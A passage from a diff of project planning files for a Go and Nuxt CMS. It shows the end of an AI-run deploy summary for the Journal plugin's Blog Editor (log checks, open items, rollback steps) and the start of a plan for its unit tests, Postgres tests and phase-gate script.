`ssh grzybyfunkcjonalne-uat 'F=/var/log/supervisor/grzybyfunkcjonalne-go.log; A=client_id=alexandria_2026_10_10T11_17_46_316300; grep -q "$A" "$F" && awk -v a="$A" "found{print} index(\$0,a){found=1}" "$F" | grep -ciE "panic|SQLSTATE"' | grep -qx 0`
|
||||
The anchor was still in the file (14 lines after it), so the timestamp fallback was not needed. The file holds 6 older SQLSTATE lines, all from before the restart.
|
||||
- **Files modified:** none
|
||||
- **Commit:** none
|
||||
|
||||
---
|
||||
|
||||
**Total deviations:** 2, both Rule 1 bugs in the plan's server commands. No shipped code changed.
|
||||
**Impact on plan:** Both fixes make the checks stricter. They do not loosen them.
|
||||
|
||||
## Open Items (pending human)
|
||||
|
||||
1. **D-03 on an HTML post is unproven.** Save post 1 (`10-faktow-na-temat-cordycepsu`) in `/gfadmin/golem15/journal/posts` without touching the editor. Then re-run the posts-unchanged SELECT and confirm that post 1's `updated_at` moved past 2026-10-10 11:17:46Z.
|
||||
2. **D-19 category check:** in a category with content, change one word in the Blog Editor and save. No removal notice should appear, and the category page on the site should show the change. Also open post 1's source tab and confirm the stored HTML is unchanged. Not human-verified yet; pending for /msd-verify-work.
|
||||
3. **Vhost install (root):** install `/srv/grzybyfunkcjonalne/deploy/grzybyfunkcjonalne-staging.conf` (frame-src https://www.youtube-nocookie.com), then `sudo nginx -t && sudo systemctl reload nginx`. This blocks nothing, because the CSP is report-only.
|
||||
4. **Test post `uat-16-2-blog-editor` (id 105) is still published.** Unpublish or delete it when it is no longer needed. The human may keep it for now.
|
||||
5. **Docker-host suites:** these go to plan 06 (WINDOWS.md entries 14 to 16).
|
||||
|
||||
**Rollback, if any open item fails** (on the server, in `/srv/grzybyfunkcjonalne`):
|
||||
- Move `go/bin/grzybyfunkcjonalne.prev` back to `go/bin/grzybyfunkcjonalne`.
|
||||
- Move `nuxt/.output.prev` back to `nuxt/.output`.
|
||||
- Run `sudo supervisorctl restart grzybyfunkcjonalne-go grzybyfunkcjonalne-nuxt`.
|
||||
|
||||
## Auth Gates
|
||||
|
||||
None. The executor never asked for, printed or stored a credential. All admin actions were done by the human. On UAT the executor ran only SELECT queries and on-server curl, apart from the Task 2 deploy steps the human approved at the Task 1 gate.
|
||||
|
||||
## User Setup Required
|
||||
|
||||
See Open Items 1 to 4.
|
||||
|
||||
## Next Phase Readiness
|
||||
|
||||
- Plan 06 (unit tests) can run. Its tests ship with the next summercms tag, v0.1.19.
|
||||
- /msd-verify-work should pick up Open Items 1 and 2.
|
||||
|
||||
---
|
||||
*Phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget*
|
||||
*Completed: 2026-10-10*
|
||||
|
||||
## Self-Check: PASSED
|
||||
|
||||
- FOUND on origin: tag `v0.1.18` (object `04dc5bd`).
|
||||
- FOUND: sm-journal-plugin `9d5bfc4`, equal to origin/main. go.mod requires summercms v0.1.18, and the replace stays.
|
||||
- FOUND: host `6f4f222`, equal to origin/master. The gitlinks are journal `9d5bfc4` and vue-grzybyfunkcjonalne-app `465286a`.
|
||||
- FOUND: the `frame-src https://www.youtube-nocookie.com` needle in both the staging vhost and check-deploy.sh (1 each).
|
||||
- Task 3 checks: posts-unchanged, translations-unchanged, edit-ok and site-ok were all printed in this run.
|
||||
|
||||
## Post 1 untouched re-save (closes WINDOWS entry 17)
|
||||
|
||||
After the human re-saved post 1 (`10-faktow-na-temat-cordycepsu`) untouched, the orchestrator ran a read-only SELECT on UAT:
|
||||
|
||||
- Post 1: `updated_at` is 2026-10-10 12:02:40.245712+00, after RESTART_TS, so the save reached the database. The md5 of `content` and of `content_html` are both still `a026264105f900175b9770e637e5ec5c`, equal to the snapshot.
|
||||
- Post 64 is unchanged: `0e4be845390b1656871513957d471a7c:e785e14e80f6400534e16b4769749d3c`.
|
||||
|
||||
D-03 is now proven on UAT for an HTML post (post 1) and for a markdown post (post 64).
|
||||
|
||||
## Follow-up deploy (preview pane and View site)
|
||||
|
||||
On 2026-10-10, everything committed was released to UAT: the Blog Editor live preview pane and the admin "View site" link.
|
||||
|
||||
- **Pushed refs:**
|
||||
- sm-journal-plugin `2c78211`, equal to origin/main.
|
||||
- Host `0ad1004`, equal to origin/master. Its journal gitlink is `2c78211`.
|
||||
- summercms.go master `b5c70b7` before this record. It includes `85fe541` (View site) and was pushed to origin as `f1d8a75..b5c70b7`.
|
||||
- **Binary sha256:**
|
||||
- New: `c68a2099ec6a67d4cbf74086f501b2af2bb4b54f3e7f94fddc04e459d2ab486f`. The local build, the uploaded `.new` and the installed binary all match.
|
||||
- Rollback copy `go/bin/grzybyfunkcjonalne.prev`: `01c0b64a53a3b95f6481be21408cfa7450828414516e6868c3801e937680edc4` (the v0.1.18 deploy from 11:16).
|
||||
- **Nuxt rollback:** `nuxt/.output.prev` now holds the v0.1.18 output. The old `.prev` was removed before the copy, so `cp -a` replaced it and did not nest into it.
|
||||
- **Release steps:**
|
||||
- `scripts/check-deploy.sh`: ok.
|
||||
- `migrate`: exit 0 ("migrations applied").
|
||||
- Restart of both programs at 2026-10-10T12:37:43Z.
|
||||
- **Smoke:** `smoke: ok (98 urls)`.
|
||||
- **Go log:** checked after the anchor `River client started client_id=alexandria_2026_10_10T12_37_43_865055`. It has 0 panic or SQLSTATE lines and 0 `level=ERROR` lines.
|
||||
- **Feature checks:**
|
||||
- The deployed binary contains `blogeditor__preview` and `previewFrame`, from the journal `assets/dist/blogeditor.js`.
|
||||
- The admin bundle served at `/gfadmin/assets/index-Bqh6wnN4.js` contains `data-view-site`.
|
||||
- **Tag:** none was cut. v0.1.19 is still pending, after the unit-test plan (06). The plugin go.mod still requires summercms v0.1.18 with the local replace, and the host builds against the summercms.go working tree through go.work.
|
||||
@@ -0,0 +1,249 @@
|
||||
---
|
||||
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
plan: 06
|
||||
type: execute
|
||||
wave: 4
|
||||
depends_on: ["16.2-01", "16.2-02", "16.2-03", "16.2-04", "16.2-05"]
|
||||
files_modified:
|
||||
- modules/pact/field_type_test.go
|
||||
- modules/cabana/field_type_test.go
|
||||
- modules/cabana/field_type_postgres_test.go
|
||||
- admin/tests/form/PluginField.test.ts
|
||||
- admin/tests/form/FormField.test.ts
|
||||
- admin/tests/form/registry.test.ts
|
||||
- admin/tests/form/formState.test.ts
|
||||
- admin/tests/app/fieldTypes.test.ts
|
||||
- admin/tests/list/ListView.test.ts
|
||||
- scripts/check-phase16.2.sh
|
||||
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md
|
||||
- ../sm-journal-plugin/classes/blog_editor_test.go
|
||||
- ../sm-journal-plugin/classes/editor_policy_test.go
|
||||
- ../sm-journal-plugin/classes/media_store_test.go
|
||||
- ../sm-journal-plugin/controllers/posts_editor_test.go
|
||||
- ../sm-journal-plugin/posts_admin_smoke_test.go
|
||||
- ../sm-journal-plugin/categories_admin_editor_test.go
|
||||
- ../sm-journal-plugin/tests/blogeditor/element.test.ts
|
||||
- ../sm-journal-plugin/tests/blogeditor/schema.test.ts
|
||||
- ../sm-journal-plugin/tests/blogeditor/serializer.test.ts
|
||||
- ../sm-journal-plugin/tests/blogeditor/embed.test.ts
|
||||
- ../vue-journal-layer/tests/embeds.test.ts
|
||||
- ../vue-journal-layer/tests/htmlGate.test.ts
|
||||
autonomous: true
|
||||
requirements: [D-02, D-03, D-05, D-07, D-10, D-11, D-12, D-13, D-14, D-17, D-18, D-19]
|
||||
estimate:
|
||||
tokens: 125000
|
||||
raw_tokens: 125000
|
||||
tasks: 3
|
||||
confidence: low
|
||||
must_haves:
|
||||
truths:
|
||||
- "CLAUDE.md lean rule 3: every piece of Phase 16.2 code has unit tests in this last plan: the pact types, the cabana registry, compile, decode, skip, load, list, writes accessor, field-types and upload routes, the SPA PluginField, MLPluginField, loader and registry helpers, the Journal field types, media storage and hooks, the editor element, schema, serializer and embed parsing, and the layer's expandEmbeds."
|
||||
- "Todo journal-imported-html-admin-resave and D-03 at every layer: the element returns an untouched value unchanged, PluginField does not re-set an echoed value, cabana writes nothing and reports nothing for a value equal to the served one, Journal Load serves content for HTML and content_html for markdown, and the Postgres test TestPostsAdminResaveKeepsHTML asserts exact bytes for an untouched HTML post and an untouched markdown post with no meta.notices, and equal content and content_html per locale after an edit."
|
||||
- "D-11 and D-12: every boot rule (alias pattern, core-type clash, cross-plugin clash, element prefix, missing Decode, option-key pattern and clash, missing AdminFS, asset path and extension) has a failing case; CompileForm stays core-only and settings and relation forms refuse plugin types."
|
||||
- "D-10 and D-14 (framework): a FormFieldError on the default or a non-default locale is a 422 on the field with no write and no notices; a non-FormFieldError and a non-string translatable Decode value are opaque 500s; FormFieldDecoded notices become meta.notices entries with field and locale, localized (plural forms through Count), at most 10 per field and locale and 500 runes each; a save without notices has no notices key; the SPA renders notices as text under the field and in the saved toast."
|
||||
- "D-10 and D-02 (Journal, amended): SanitizeHTMLReport returns the input byte for byte with an empty report exactly when the policy keeps everything (property checked over the 35 unsafe payloads, the imported-post fixture and the editor corpus); post and category admin saves strip and report, never answer 422 for markup, and store equal sanitized HTML in content and content_html per locale; an untouched save writes and reports nothing."
|
||||
- "D-05 (amended): every editor-corpus entry passes the Go policy byte for byte and is safe under the layer's sanitizer, the two corpus copies are identical, and the four editor-output rules admit nothing else (other providers, malformed ids, data attributes elsewhere, iframes stay stripped in both policies)."
|
||||
- "D-18: the upload route answers 201, 403, 404 (core field, no Upload, out-of-scope record), 413 and 422, and the Journal upload refuses a disguised file and an svg."
|
||||
- "D-17 and D-05: expandEmbeds expands only exact allowlisted placeholders and runs last, after sanitizeJournalHtml at each sink; a stored iframe never reaches the output; parseEmbedUrl accepts only the four YouTube URL forms."
|
||||
- "Postgres-backed tests (cabana TestFieldTypeSavePostgres, the sm-journal-plugin admin harness tests including TestPostsAdminSaveSanitizesHTML, TestCategoriesAdminContent and TestCategoriesAdminBlogEditor) exist, compile under go vet and fail rather than skip without a database; they run on a Docker host before /msd-verify-work."
|
||||
- "scripts/check-phase16.2.sh runs every runnable suite fail-closed and ends with 'Phase 16.2 gate passed'; 16.2-VALIDATION.md has its per-task map filled and nyquist_compliant true."
|
||||
artifacts:
|
||||
- path: "modules/cabana/field_type_test.go"
|
||||
provides: "registry, compile, decode, skip, load, list, writes and route unit tests"
|
||||
contains: "TestFieldTypeRegistry"
|
||||
- path: "modules/cabana/field_type_postgres_test.go"
|
||||
provides: "real-database save, show and upload tests"
|
||||
contains: "TestFieldTypeSavePostgres"
|
||||
- path: "../sm-journal-plugin/classes/blog_editor_test.go"
|
||||
provides: "Decode, Load, LooksLikeHTML, options, list value, upload tests"
|
||||
contains: "TestBlogEditorLoad"
|
||||
- path: "scripts/check-phase16.2.sh"
|
||||
provides: "phase gate"
|
||||
contains: "Phase 16.2 gate passed"
|
||||
key_links:
|
||||
- from: "../sm-journal-plugin/posts_admin_smoke_test.go TestPostsAdminResaveKeepsHTML"
|
||||
to: "the cabana untouched skip and the Journal hooks"
|
||||
via: "PUT of the served value through the real admin API on Postgres"
|
||||
pattern: "TestPostsAdminResaveKeepsHTML"
|
||||
- from: "scripts/check-phase16.2.sh"
|
||||
to: "every suite named in 16.2-VALIDATION.md"
|
||||
via: "fail-closed stages"
|
||||
pattern: "check-phase16.2"
|
||||
prohibitions:
|
||||
- statement: "No test touches the UAT server, the network or a shared database: pure tests use stubs, DryRun handles or memblob; Postgres tests use throwaway testcontainers databases."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "Tests are not weakened to pass: every existing assertion that still describes the shipped behaviour stays (FormatHTML strip and byte-stability cases, the 35 unsafe payloads, the duplicate-attribute rule, CheckHTML as a predicate, upload sniffing, alias collision, upload permission, sanitize-then-expand order, widget, ML, list-state and SSR expectations); only the two category 422 assertions retired by amended D-10 became strip-and-report assertions (plan 03), and nothing else is relaxed."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
---
|
||||
|
||||
## Phase Goal
|
||||
|
||||
ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
|
||||
|
||||
This plan's slice (CLAUDE.md lean rule 3, user decision 1, plan 06): full unit coverage of the phase's code across summercms.go, sm-journal-plugin and vue-journal-layer, the Postgres tests for a Docker host, and the phase gate. This plan changes tests, the gate script and VALIDATION.md only, so no dist or bundle changes.
|
||||
|
||||
## Revision 2026-10-10 (16.1 drift, CONTEXT D-10 amended)
|
||||
|
||||
Admin saves now strip and report instead of refusing, so the refusal-case assertions planned here became strip-and-report assertions: a FormFieldError still answers 422, but markup never does. The plan adds the policy cross-check (the editor corpus against both policies, and the identity of the two copies), category strip coverage, "notices only when something was stripped" and "an untouched save writes and reports nothing". The tests that still hold are unchanged in intent: upload sniffing, alias collision, permission, sanitize-then-expand order, byte-stability, the duplicate-attribute rule.
|
||||
|
||||
## Spec-less probe fallback
|
||||
|
||||
Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
|
||||
|
||||
## Artifacts this phase produces (this plan)
|
||||
|
||||
- Go tests: `TestFormFieldErrorMessage` (pact); `TestFieldTypeRegistry`, `TestFieldTypeOptions`, `TestFieldTypeCompile`, `TestFieldTypeDecode`, `TestFieldTypeNotices`, `TestFieldTypeUntouched`, `TestFieldTypeLoad`, `TestFieldTypeListValue`, `TestFieldTypeWrites`, `TestFieldTypesRoute`, `TestFieldUpload` (cabana); `TestFieldTypeSavePostgres` (cabana, Docker); `TestBlogEditorDecode`, `TestBlogEditorNotices`, `TestBlogEditorLoad`, `TestLooksLikeHTML`, `TestBlogEditorOptions`, `TestBlogEditorListValue`, `TestBlogEditorUpload`, `TestStoreMedia` and the extended `TestEditorOutputPassesPolicy` and `TestSanitizeHTMLReport` (Journal classes); `TestPostsEditorHooks` (Journal controllers); `TestCategoriesAdminBlogEditor` and the extended `TestPostsAdminResaveKeepsHTML` (Journal root, Docker).
|
||||
- Vitest files: `admin/tests/app/fieldTypes.test.ts`; extended `PluginField.test.ts`, `FormField.test.ts`, `registry.test.ts`, `formState.test.ts`, `ListView.test.ts`; `../sm-journal-plugin/tests/blogeditor/{element,schema,serializer,embed}.test.ts`.
|
||||
- Layer: extended `tests/embeds.test.ts` and `tests/htmlGate.test.ts`.
|
||||
- `scripts/check-phase16.2.sh` (stages `go`, `admin`, `editor`, `layer`, `docs`, `postgres`; the layer stage also compares the two editor-corpus copies; flags `--all`, `--self-test`).
|
||||
|
||||
<objective>
|
||||
Bring full unit coverage to Phase 16.2 (lean rule 3), add the Postgres tests for a Docker host, write the phase gate and complete the validation map.
|
||||
|
||||
Purpose: every behaviour the phase shipped is pinned by a test that fails when it regresses.
|
||||
Output: the test files above, scripts/check-phase16.2.sh, an updated 16.2-VALIDATION.md.
|
||||
</objective>
|
||||
|
||||
<execution_context>
|
||||
@~/.claude/msd-core/workflows/execute-plan.md
|
||||
@~/.claude/msd-core/templates/summary.md
|
||||
</execution_context>
|
||||
|
||||
<context>
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-01-SUMMARY.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-02-SUMMARY.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-SUMMARY.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-04-SUMMARY.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md
|
||||
@.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-03-PLAN.md
|
||||
|
||||
No Docker on this machine (Pitfall 11): run Go tests with explicit `-run` sets; the testcontainers tests are written to fail rather than skip without a database and are listed for the Docker host. Test helpers to reuse: `openDryRunDB`, `newDryRunListService` (modules/cabana/query_relation_test.go), the recording TranslationWriter (modules/cabana/locale_order_test.go), `crudFixture`/`hookFixture` and `principalCtx` (Postgres fixtures in crud_test.go and crud_lifecycle_test.go), `newPostsEnv` and `adminAPI` (sm-journal-plugin admin harness), `memblob.OpenBucket`. Commits: tests only, `test(...)` messages, no co-author tags, stage by explicit path in each repository.
|
||||
</context>
|
||||
|
||||
<tasks>
|
||||
|
||||
<task type="tracer">
|
||||
<name>Task 1: Tracer: the imported-post resave contract, pinned at every layer (element, SPA, cabana, Journal, Postgres)</name>
|
||||
<files>../sm-journal-plugin/tests/blogeditor/element.test.ts, admin/tests/form/PluginField.test.ts, modules/cabana/field_type_test.go, ../sm-journal-plugin/classes/blog_editor_test.go, ../sm-journal-plugin/posts_admin_smoke_test.go</files>
|
||||
<read_first>../sm-journal-plugin/tests/blogeditor/smoke.test.ts, ../sm-journal-plugin/tests/blogeditor/fixtures/imported-post.html, admin/tests/form/PluginField.test.ts, modules/cabana/field_type_smoke_test.go, modules/cabana/field_type.go, ../sm-journal-plugin/classes/blog_editor.go, ../sm-journal-plugin/posts_admin_smoke_test.go, ../sm-journal-plugin/admin_harness_test.go, .planning/todos/pending/journal-imported-html-admin-resave.md</read_first>
|
||||
<action>Write one test per layer for the folded todo's acceptance (D-03, D-07; "re-save an imported HTML post and assert content and content_html are unchanged").
|
||||
|
||||
Element (element.test.ts, happy-dom): for the imported-post fixture and for a markdown post's content_html sample, set value, toggle to the source tab and back without typing, and read value: identical string and zero summer-change events.
|
||||
|
||||
SPA (PluginField.test.ts): a stub element that re-emits its current value on connect; the form value stays identical and PluginField never writes the property a second time for an equal value.
|
||||
|
||||
cabana (field_type_test.go, TestFieldTypeUntouched): with a translatable stub type (whose Decode always returns a notice) and a recording writer, an update whose submitted pl and en values equal servedFieldValue writes nothing and reports nothing (no projected key, no WriteTranslated call, no FieldWrite, no notice); one changed locale writes and reports only that locale; canonical comparison treats equal JSON objects with different key order as equal and a string "1" and number 1 as different; a create never skips.
|
||||
|
||||
Journal (blog_editor_test.go, TestBlogEditorLoad): HTML content is served verbatim (including leading whitespace and a leading HTML comment), markdown content is served as the Translated content_html, an empty content_html falls back to FormatHTML, nil and empty pointers give "".
|
||||
|
||||
Postgres (posts_admin_smoke_test.go, Docker host): TestPostsAdminResaveKeepsHTML creates an HTML post and a markdown post through the admin API, reads the served form values with GET, PUTs them back unchanged and asserts content and content_html are byte-identical for both (the markdown post keeps markdown content), that no en translation row was added for an untouched empty en and that the PUT response has no meta.notices key, then PUTs an edited pl and en value of clean HTML and asserts content equals content_html for pl, that the en content_html translation equals the en content, and that no notices are reported.
|
||||
|
||||
Commit per repository as test(...) commits, staged by explicit path.</action>
|
||||
<verify>
|
||||
<automated>../sm-journal-plugin/node_modules/.bin/vitest run --root ../sm-journal-plugin tests/blogeditor/element.test.ts && npm --prefix admin test -- tests/form/PluginField.test.ts && go test -count=1 -run '^TestFieldTypeUntouched$' -v ./modules/cabana 2>&1 | grep -- '^--- PASS: TestFieldTypeUntouched' && go -C ../sm-journal-plugin test -count=1 -run '^TestBlogEditorLoad$' -v ./classes/ 2>&1 | grep -- '^--- PASS: TestBlogEditorLoad' && go -C ../sm-journal-plugin vet ./...</automated>
|
||||
<fails_when>Non-zero exit: an element or PluginField vitest case fails, no "--- PASS: TestFieldTypeUntouched" or "--- PASS: TestBlogEditorLoad" line, or go vet fails on the updated Postgres test.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "func TestFieldTypeUntouched" modules/cabana/field_type_test.go` and `grep -n "func TestBlogEditorLoad" ../sm-journal-plugin/classes/blog_editor_test.go` each print one line.
|
||||
- TestPostsAdminResaveKeepsHTML compares bytes without TrimSpace and covers an HTML post, a markdown post and an edited save, and asserts no meta.notices on the untouched and clean saves (read the test: three stages).
|
||||
- The four runnable checks pass; the Postgres test compiles (go vet).
|
||||
</acceptance_criteria>
|
||||
<done>The untouched-resave contract is pinned at the element, SPA, cabana and Journal layers here, and on Postgres for the Docker host.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="true">
|
||||
<name>Task 2: Full Go coverage: pact, cabana field types and routes, Journal field types, media storage and hooks; Postgres tests</name>
|
||||
<files>modules/pact/field_type_test.go, modules/cabana/field_type_test.go, modules/cabana/field_type_postgres_test.go, ../sm-journal-plugin/classes/blog_editor_test.go, ../sm-journal-plugin/classes/editor_policy_test.go, ../sm-journal-plugin/classes/media_store_test.go, ../sm-journal-plugin/controllers/posts_editor_test.go, ../sm-journal-plugin/categories_admin_editor_test.go</files>
|
||||
<read_first>modules/pact/capabilities.go, modules/cabana/relation_field.go (RecordMeta.Notices, FieldNotice), modules/cabana/field_type.go, modules/cabana/field_type_upload.go, modules/cabana/tx_context.go, modules/cabana/field_ml.go, modules/cabana/list_schema.go, modules/cabana/field_type_smoke_test.go, modules/cabana/query_test.go (Postgres container fixture), modules/cabana/crud_lifecycle_test.go (hookFixture, principalCtx, crudCall), ../sm-journal-plugin/classes/blog_editor.go, ../sm-journal-plugin/classes/format_html.go (SanitizeHTMLReport, newHTMLPolicy), ../sm-journal-plugin/classes/editor_policy_test.go (plan 03), ../sm-journal-plugin/classes/format_html_test.go (unsafePayloads), ../sm-journal-plugin/lang/en/lang.yaml, ../sm-journal-plugin/lang/pl/lang.yaml, ../sm-journal-plugin/classes/media_store.go, ../sm-journal-plugin/controllers/posts.go, ../sm-journal-plugin/controllers/posts_editor_smoke_test.go, ../sm-journal-plugin/admin_harness_test.go, ../sm-journal-plugin/controllers/categories.go, ../sm-journal-plugin/journal_api_categories_test.go</read_first>
|
||||
<behavior>
|
||||
- pact: FormFieldError.Error joins messages with "; "; a nil pointer does not panic.
|
||||
- Registry: bad alias pattern, core clash, cross-plugin clash naming both IDs, wrong element prefix, reserved or invalid tag, nil Decode, bad and core-clashing and repeated option keys, assets without AdminFS, bad asset path and extension each fail boot with the documented message; valid types register their assets with ?v= hashes.
|
||||
- Compile: general keys accepted, core type-specific keys refused, option values of every YAML kind decoded, CheckOptions error surfaced, CompileForm refuses a plugin alias, CompileFormWithTypes accepts it, settings and relation forms refuse plugin types.
|
||||
- Decode/Load: default and non-default FormFieldError become a 422 on the field with no write and no notices; other errors and a non-string translatable Decode value are opaque 500 without the plugin text; nil Load keeps the stored value; Load errors are opaque 500.
|
||||
- Notices: a Decode notice becomes one FieldNotice with field and locale (none for a non-translatable type); Count selects the plural form and Params fill placeholders through a real phrasebook translator; text that is not a phrase key passes through; more than 10 notices per field and locale are cut to 10 and a message over 500 runes is cut with an ellipsis; the encoded RecordMeta has no notices key when there are none.
|
||||
- List: ListValue applied, nil ListValue keeps raw value. Writes: copy semantics, false outside save, Before and After hooks see the same writes.
|
||||
- Routes: field-types sorted, empty list, assets URLs; upload 201, 403, 404 (core field, no Upload, unknown field, context refusal), 413, 422, missing part, id 0 Record nil.
|
||||
- Postgres (Docker host): create, update, show through the HTTP handlers with a translatable plugin type and the real column; an untouched update leaves the row unchanged; upload with id != 0 outside the FormExtendQuery scope is 404.
|
||||
- Journal: Decode table (clean string unchanged with no notice; nil gives ""; non-string FormFieldError; each of the 35 unsafePayloads stripped with at least one notice and an output equal to SanitizeHTML; the placeholder and every corpus entry unchanged with no notice); removal notices (order elements, attributes, comments, other; Count; names joined; ellipsis after 10 names; every key present in lang/en with one and other and in lang/pl with one, few, many and other); SanitizeHTMLReport property over the unsafePayloads, the imported-post fixture and the corpus (report empty exactly when the output equals the input); the corpus cross-check negatives (other provider, 10- and 12-character ids, data attributes on other elements, extra data attribute on figure, onload on the placeholder, iframe); LooksLikeHTML table; options (htmlColumn identifier, uploadFolder rule); ListValue (tags stripped, 120-rune truncation); Upload (png, jpeg, gif and webp sniff, disguised text, svg, safe names, size, missing bucket); StoreMedia (extension, size message, key layout, unique suffix, URL); hooks (create and update, default and non-default writes, no writes, no writer); categories on Postgres: content saved through blogeditor, blank to NULL, unsafe content stored stripped with a notice in meta.notices and no 422, safe content byte-identical with no notices key.
|
||||
</behavior>
|
||||
<action>Write the Go tests listed in the behavior block (per D-02, D-05, D-10, D-11, D-12, D-14, D-18, D-19), table-driven where the cases share a shape. Extend plan 03's TestEditorOutputPassesPolicy and TestSanitizeHTMLReport in place rather than duplicating them. cabana unit tests use no database (DryRun handles, stubs, the recording writer, httptest with principalCtx-style contexts); TestFieldTypeSavePostgres reuses the existing testcontainers fixture pattern and fails, not skips, without Docker. The Journal root-package TestCategoriesAdminBlogEditor uses newPostsEnv-style harness setup for the categories controller. Do not change production code; if a test exposes a defect, fix it in a separate fix(...) commit with its own test and record it in the SUMMARY. Commit per repository as test(...) commits, staged by explicit path.</action>
|
||||
<verify>
|
||||
<automated>go vet ./modules/pact ./modules/cabana && go test -count=1 ./modules/pact && go test -count=1 -run '^(TestFieldTypeRegistry|TestFieldTypeOptions|TestFieldTypeCompile|TestFieldTypeDecode|TestFieldTypeNotices|TestFieldTypeUntouched|TestFieldTypeLoad|TestFieldTypeListValue|TestFieldTypeWrites|TestFieldTypesRoute|TestFieldUpload|TestFieldTypeTracerSmoke|TestFieldTypeExpansionSmoke)$' -v ./modules/cabana 2>&1 | grep -c '^--- PASS: Test' | grep -qx 13</automated>
|
||||
<fails_when>Non-zero exit: vet or the pact package fails, or fewer than thirteen top-level "--- PASS: Test" lines for the named cabana tests (one missing or failing).</fails_when>
|
||||
<automated>go -C ../sm-journal-plugin vet ./... && go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/... && go -C ../sm-journal-plugin test -count=1 -run '^(TestBlogEditorDecode|TestBlogEditorNotices|TestBlogEditorLoad|TestLooksLikeHTML|TestBlogEditorOptions|TestBlogEditorListValue|TestBlogEditorUpload|TestStoreMedia|TestEditorOutputPassesPolicy|TestSanitizeHTMLReport)$' -v ./classes/ 2>&1 | grep -c '^--- PASS: Test' | grep -qx 10</automated>
|
||||
<fails_when>Non-zero exit: vet fails, a classes or controllers test fails, or fewer than ten "--- PASS: Test" lines for the named Journal classes tests (a strip, notice, report, corpus or upload case regressed).</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "func TestFieldTypeSavePostgres" modules/cabana/field_type_postgres_test.go` and `grep -n "func TestCategoriesAdminBlogEditor" ../sm-journal-plugin/categories_admin_editor_test.go` each print one line, and both files pass go vet.
|
||||
- The thirteen named cabana tests and ten named Journal classes tests pass; `go -C ../sm-journal-plugin test -count=1 -run '^TestPostsEditorHooks$' ./controllers/` passes.
|
||||
- `git -C ../sm-journal-plugin diff --quiet c60abc6 -- classes/format_html_test.go classes/check_html_test.go classes/format_translation_test.go` exits 0 (the 16.1 policy tests are not weakened).
|
||||
- For each repository, `git diff --stat "$TASK2_START"..HEAD` (TASK2_START is that repository's head recorded in the SUMMARY before this task) lists only *_test.go files, except files of separate fix(...) commits that the SUMMARY names.
|
||||
</acceptance_criteria>
|
||||
<done>Every Go behaviour of the phase has a passing unit test here, and the database-backed paths have Postgres tests for the Docker host.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="true">
|
||||
<name>Task 3: Full JS coverage (admin, editor, layer), the phase gate script and the validation map</name>
|
||||
<files>admin/tests/app/fieldTypes.test.ts, admin/tests/form/registry.test.ts, admin/tests/form/formState.test.ts, admin/tests/form/FormField.test.ts, admin/tests/list/ListView.test.ts, ../sm-journal-plugin/tests/blogeditor/schema.test.ts, ../sm-journal-plugin/tests/blogeditor/serializer.test.ts, ../sm-journal-plugin/tests/blogeditor/embed.test.ts, ../vue-journal-layer/tests/embeds.test.ts, ../vue-journal-layer/tests/htmlGate.test.ts, scripts/check-phase16.2.sh, .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md</files>
|
||||
<read_first>admin/src/app/fieldTypes.ts, admin/src/app/pluginAssets.ts, admin/src/components/form/registry.ts, admin/src/components/form/mlLocale.ts, admin/src/components/form/formState.ts, admin/src/views/ListView.vue, admin/tests/form/registry.test.ts, admin/tests/form/formState.test.ts, admin/tests/list/ListView.test.ts, ../sm-journal-plugin/assets/src/blogeditor/extensions.ts, ../sm-journal-plugin/assets/src/blogeditor/serializer.ts, ../sm-journal-plugin/assets/src/blogeditor/embed.ts, ../sm-journal-plugin/assets/src/blogeditor/element.ts, ../vue-journal-layer/app/utils/embeds.ts, ../vue-journal-layer/app/utils/htmlGate.ts, ../vue-journal-layer/app/components/Journal/PostBody.vue, ../vue-journal-layer/tests/embeds.test.ts, ../vue-journal-layer/tests/htmlGate.test.ts, ../sm-journal-plugin/tests/blogeditor/corpus.test.ts, admin/src/components/form/FormField.vue, scripts/check-phase16.sh (fail-closed stage and detector style), .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md</read_first>
|
||||
<behavior>
|
||||
- fieldTypes: each script URL loads once even when loadFieldTypes runs twice; global styles stay enabled after activateStyles for any controller; a failed GET or script does not reject; URLs outside the asset prefix are refused.
|
||||
- registry: rendererForField returns PluginField, MLPluginField or the core renderer; isRegisteredField true for plugin fields; groupLabelled true for plugin fields. formState: isMLField fields get locale maps in initial values and editable payloads; noticeLines groups notices by field with the locale prefix. FormField: notices render as literal text in a status line linked by aria-describedby, none without notices. ListView: an unknown column type renders the row value as text.
|
||||
- Editor schema: every rawHtml tag rule, figure shapes (img only, img plus figcaption, other content to rawHtml), span mark, global attributes on each modelled type, link attributes without defaults and javascript: refused, table rendering without colgroup, thead kept, cell paragraph unwrapping, no trailing paragraph, rawHtml card escaping.
|
||||
